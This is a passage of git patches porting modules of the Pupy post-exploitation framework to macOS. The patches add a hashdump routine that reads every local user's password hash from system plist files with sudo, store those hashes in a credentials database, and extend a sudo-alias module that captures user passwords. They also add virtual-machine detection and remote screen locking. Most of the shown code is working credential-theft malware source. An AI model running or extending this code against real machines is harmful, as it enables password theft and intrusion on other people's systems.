self.error('--hide option works only for Windows hosts') From 423f8a77c25b8300f2a87c04320df530611994ac Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 15:33:41 +0100 Subject: [PATCH 14/23] ssh works for mac os --- pupy/modules/ssh.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/modules/ssh.py b/pupy/modules/ssh.py index 8c6b2c5b..9a0be512 100644 --- a/pupy/modules/ssh.py +++ b/pupy/modules/ssh.py @@ -4,7 +4,7 @@ from pupylib.utils.rpyc_utils import redirected_stdio __class_name__="SSH" -@config(compat=['linux', 'windows'], cat="admin") +@config(cat="admin") class SSH(PupyModule): """ ssh client """ From 470352143280388961606399054f651b52b98fdb Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 16:17:15 +0100 Subject: [PATCH 15/23] lock screen for mac os --- pupy/modules/lock_screen.py | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/pupy/modules/lock_screen.py b/pupy/modules/lock_screen.py index c6198db5..80f83f8f 100644 --- a/pupy/modules/lock_screen.py +++ b/pupy/modules/lock_screen.py @@ -1,9 +1,10 @@ # -*- coding: UTF8 -*- from pupylib.PupyModule import * +import subprocess __class_name__="PupyMod" -@config(compat="windows", cat="manage", tags=["lock", "screen", "session"]) +@config(compat=["windows", "darwin"], cat="manage", tags=["lock", "screen", "session"]) class PupyMod(PupyModule): """ Lock the session """ @@ -11,8 +12,13 @@ class PupyMod(PupyModule): self.arg_parser = PupyArgumentParser(prog="lock_screen", description=self.__doc__) def run(self, args): - if self.client.conn.modules['ctypes'].windll.user32.LockWorkStation(): + ok = False + if self.client.is_windows(): + ok = self.client.conn.modules['ctypes'].windll.user32.LockWorkStation() + elif self.client.is_darwin(): + ok = self.client.conn.modules.subprocess.Popen('/System/Library/CoreServices/Menu\ Extras/User.menu/Contents/Resources/CGSession -suspend', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + + if ok: self.success("windows locked") else: self.error("couldn't lock the screen") - From e300e18f852e2dd4073189b377798ad8c3718506 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 17:36:18 +0100 Subject: [PATCH 16/23] psexec works for mac os --- pupy/modules/psexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/modules/psexec.py b/pupy/modules/psexec.py index 70c94e55..d95ee95a 100644 --- a/pupy/modules/psexec.py +++ b/pupy/modules/psexec.py @@ -18,7 +18,7 @@ import ntpath __class_name__="PSExec" -@config(cat="admin",compat=["linux", "windows"]) +@config(cat="admin") class PSExec(PupyModule): """ Launch remote commands using smbexec or wmiexec""" max_clients=1 From d6fea0689962dd14e7786636a8d12652e4565466 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 17:36:33 +0100 Subject: [PATCH 17/23] sudo alias for mac osx --- pupy/modules/sudo_alias.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/modules/sudo_alias.py b/pupy/modules/sudo_alias.py index 83b301ef..89e8ec3e 100644 --- a/pupy/modules/sudo_alias.py +++ b/pupy/modules/sudo_alias.py @@ -4,7 +4,7 @@ from pupylib.utils.credentials import Credentials __class_name__="SudoAlias" -@config(compat='linux', cat="admin") +@config(compat=['linux', 'darwin'], cat="admin") class SudoAlias(PupyModule): """ write an alias for sudo to retrieve user password """ From a821714667d8e86272f65013fdd602d72db6c734 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 17:37:03 +0100 Subject: [PATCH 18/23] sudo alias - symbolic link --- pupy/packages/darwin/sudo_alias.py | 1 + 1 file changed, 1 insertion(+) create mode 120000 pupy/packages/darwin/sudo_alias.py diff --git a/pupy/packages/darwin/sudo_alias.py b/pupy/packages/darwin/sudo_alias.py new file mode 120000 index 00000000..5efe3f49 --- /dev/null +++ b/pupy/packages/darwin/sudo_alias.py @@ -0,0 +1 @@ +../linux/all/sudo_alias.py \ No newline at end of file From db8dfc7765acd58fb2d594ae5aa0645acb99abcd Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 18:18:21 +0100 Subject: [PATCH 19/23] retrieve hash from mac os system --- pupy/packages/darwin/hashdump.py | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 pupy/packages/darwin/hashdump.py diff --git a/pupy/packages/darwin/hashdump.py b/pupy/packages/darwin/hashdump.py new file mode 100644 index 00000000..be579dc1 --- /dev/null +++ b/pupy/packages/darwin/hashdump.py @@ -0,0 +1,31 @@ +# Inspired from https://github.com/EmpireProject/EmPyre/blob/master/lib/modules/collection/osx/hashdump.py +import os +import base64 +from xml.etree import ElementTree + +def getUserHash(userName): + try: + raw = os.popen('sudo defaults read /var/db/dslocal/nodes/Default/users/%s.plist ShadowHashData|tr -dc 0-9a-f|xxd -r -p|plutil -convert xml1 - -o - 2> /dev/null' %(userName)).read() + if len(raw) > 100: + root = ElementTree.fromstring(raw) + children = root[0][1].getchildren() + entropy64 = ''.join(children[1].text.split()) + iterations = children[3].text + salt64 = ''.join(children[5].text.split()) + entropyRaw = base64.b64decode(entropy64) + entropyHex = entropyRaw.encode("hex") + saltRaw = base64.b64decode(salt64) + saltHex = saltRaw.encode("hex") + return (userName, "$ml$%s$%s$%s" %(iterations, saltHex, entropyHex)) + except Exception as e: + print "getUserHash() exception: %s" %(e) + pass + +def hashdump(): + userNames = [ plist.split(".")[0] for plist in os.listdir('/var/db/dslocal/nodes/Default/users/') if not plist.startswith('_')] + userHashes = [] + for userName in userNames: + userHash = getUserHash(userName) + if userHash: + userHashes.append(getUserHash(userName)) + return userHashes \ No newline at end of file From 8dcc24450cebb51f3d17c79df3145a1399e6ff5e Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 18:18:38 +0100 Subject: [PATCH 20/23] manage hash from mac os --- pupy/modules/creddump.py | 23 +++++++++++++++++++++-- 1 file changed, 21 insertions(+), 2 deletions(-) diff --git a/pupy/modules/creddump.py b/pupy/modules/creddump.py index 5b489bbb..4221159e 100644 --- a/pupy/modules/creddump.py +++ b/pupy/modules/creddump.py @@ -34,7 +34,7 @@ from modules.lib.windows.creddump.win32.lsasecrets import get_file_secrets __class_name__="CredDump" -@config(cat="creds", compatibilities=['windows', 'linux'], tags=['creds', +@config(cat="creds", compatibilities=['windows', 'linux', 'darwin'], tags=['creds', 'credentials', 'password', 'gather', 'hives']) class CredDump(PupyModule): @@ -52,8 +52,25 @@ class CredDump(PupyModule): if self.client.is_windows(): self.windows() - else: + elif self.client.is_linux(): self.linux() + elif self.client.is_darwin(): + self.darwin() + + def darwin(self): + self.client.load_package("hashdump") + hashes = self.client.conn.modules["hashdump"].hashdump() + if hashes: + db = Credentials() + db.add([ + {'Hash':hsh[1], 'Login': hsh[0], 'Category': 'System hash', 'uid':self.client.short_name(), 'CredType': 'hash'} for hsh in hashes + ]) + for hsh in hashes: + self.log('{}'.format(hsh)) + + self.success("Hashes stored on the database") + else: + self.error('no hashes found') def linux(self): known = set() @@ -123,6 +140,8 @@ class CredDump(PupyModule): for hsh in hashes: self.log('{}'.format(hsh)) + + self.success("Hashes stored on the database") def windows(self): # First, we download the hives... From e6ae5bf4f4a04968d25d511964758326156182a4 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Thu, 9 Feb 2017 18:18:56 +0100 Subject: [PATCH 21/23] print big hashes on db (even if false positive are printed) --- pupy/pupylib/utils/credentials.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pupy/pupylib/utils/credentials.py b/pupy/pupylib/utils/credentials.py index 11125c19..fb206701 100644 --- a/pupy/pupylib/utils/credentials.py +++ b/pupy/pupylib/utils/credentials.py @@ -109,7 +109,7 @@ class Credentials(object): break # print only data with password and remove false positive - if c['password'] and len(c['password']) < 150: + if c['password']: if (dataToSearch and found) or not dataToSearch: if (tmp_uid != c['uid']) and isSorted: tmp_uid = c['uid'] From a630a79435c71957cd7a1ad96ec24d431b53a164 Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Fri, 10 Feb 2017 12:01:29 +0100 Subject: [PATCH 22/23] checkvm for mac os --- pupy/modules/check_vm.py | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/pupy/modules/check_vm.py b/pupy/modules/check_vm.py index bc502389..294483d6 100644 --- a/pupy/modules/check_vm.py +++ b/pupy/modules/check_vm.py @@ -6,7 +6,7 @@ from modules.lib.windows.powershell_upload import execute_powershell_script __class_name__="CheckVM" ROOT=os.path.abspath(os.path.join(os.path.dirname(__file__),"..")) -@config(compat=['linux', 'windows'], category="gather") +@config(category="gather") class CheckVM(PupyModule): """ check if running on Virtual Machine """ @@ -29,3 +29,12 @@ class CheckVM(PupyModule): self.success('This appears to be a %s virtual machine' % vm) else: self.success('This does not appear to be a virtual machine') + elif self.client.is_darwin(): + self.client.load_package("checkvm") + self.info('Be patient, could take a while') + vm = self.client.conn.modules["checkvm"].checkvm() + if vm: + self.success('This appears to be a %s virtual machine' % vm) + else: + self.success('This does not appear to be a virtual machine') + From b6488d42a153f64e1d9594d03a73f272a28efa0f Mon Sep 17 00:00:00 2001 From: AlessandroZ Date: Fri, 10 Feb 2017 12:01:57 +0100 Subject: [PATCH 23/23] checkvm for mac os - remote function --- pupy/packages/darwin/checkvm.py | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) create mode 100644 pupy/packages/darwin/checkvm.py diff --git a/pupy/packages/darwin/checkvm.py b/pupy/packages/darwin/checkvm.py new file mode 100644 index 00000000..89a6474f --- /dev/null +++ b/pupy/packages/darwin/checkvm.py @@ -0,0 +1,23 @@ +import subprocess +import os + +def checkvm(): + # check existing dir + dirs = [ + '~/Library/Logs/VMWare', + '~/Library/Logs/VMWare Fusion/' + ] + + for d in dirs: + if os.path.isdir(os.path.expanduser(d)): + return 'VMWare' + + p = subprocess.Popen('system_profiler', stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE, shell=True) + output, err = p.communicate() + if output: + if 'VMWare' in output: + return 'VMWare' + elif 'VirtualBox' in output: + return 'VirtualBox' + + return None \ No newline at end of file